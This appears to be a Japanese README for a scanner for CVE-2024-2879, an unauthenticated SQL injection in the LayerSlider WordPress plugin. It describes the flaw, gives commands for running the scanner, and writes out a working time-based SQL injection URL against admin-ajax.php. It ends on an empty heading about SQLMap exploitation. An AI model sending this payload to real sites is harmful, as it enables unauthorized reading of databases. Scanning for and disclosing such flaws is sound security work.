CVE-2024-2879

説明

LayerSlider 7.9.11 - 7.10.0 - 認証されていないSQLインジェクション

WordPress用のLayerSliderプラグインは、バージョン7.9.11および7.10.0において、ls_get_popup_markupアクションを介したSQLインジェクションに対して脆弱です。これは、ユーザーが指定したパラメータに対する不十分なエスケープと、既存のSQLクエリに対する十分な準備の欠如に起因します。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを付加し、データベースから機密情報を抽出することが可能になります。

スキャナの使用方法

1. 依存関係をインストール: pip install -r requirements.txt
2. python3 scan.py または <urllist.txt>

WAFで保護されていない場合の手動確認

"http://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and (SELECT 6416 FROM (SELECT(SLEEP(5)))nEiK)-- vqlq" 5秒の応答遅延

SQL Mapを用いた悪用

または